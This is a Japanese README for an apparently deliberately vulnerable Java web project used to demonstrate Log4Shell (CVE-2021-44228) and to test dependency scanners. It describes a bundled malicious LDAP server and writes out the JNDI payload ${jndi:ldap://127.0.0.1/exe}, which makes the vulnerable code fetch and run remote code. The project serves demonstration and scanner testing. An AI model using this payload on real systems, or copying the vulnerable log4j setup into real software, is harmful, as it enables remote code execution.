
これは log4shell 脆弱性を持つシンプルな Web プロジェクトです。
プロジェクトは、プレーンテキスト文字列 hello world を返すシンプルな scabench.HelloWorldService GET サービスを定義しています。
このサービスはパラメータを想定しておらず、パラメータが検出されるとエラーがログに記録されます。
脆弱性のある依存関係は org.apache.logging.log4j:log4j-core:2.14.1 であり、脆弱性は CVE-2021-44228 です。
これには Unix または macOS が必要です。このプロジェクトを Windows に移植するのは簡単です。
脆弱性を実証するためのユニットテストが提供されています。このテストには、脆弱なコードを提供する LDAP サーバーが必要です。対応する実行可能ファイルはプロジェクトによって提供され、別のプロジェクト で定義されており、これは https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept に基づいています。テストフィクスチャは LDAP サーバーの起動とシャットダウンを処理します。
テストは、log4j が接続する LDAP サーバーのコードに埋め込まれたコマンドに基づいてファイル foo を作成します(touch foo)。このサーバーは攻撃者によって制御される可能性があります。
テストを実行するには、mvn test でプロジェクトをビルドしてください。
mvn jetty:runjava -jar dodgy-ldap-server.jar(脆弱なコードがこのサーバーから Java コードをダウンロードします)http://localhost:8080/ にアクセスします。このサイトには、悪意のあるペイロード ${jndi:ldap://127.0.0.1/exe} があらかじめ入力されたフォームが含まれています。foo が作成されます。異なる分析を実行するためのいくつかのシェルスクリプトがあります。結果レポートは scan-results にあります。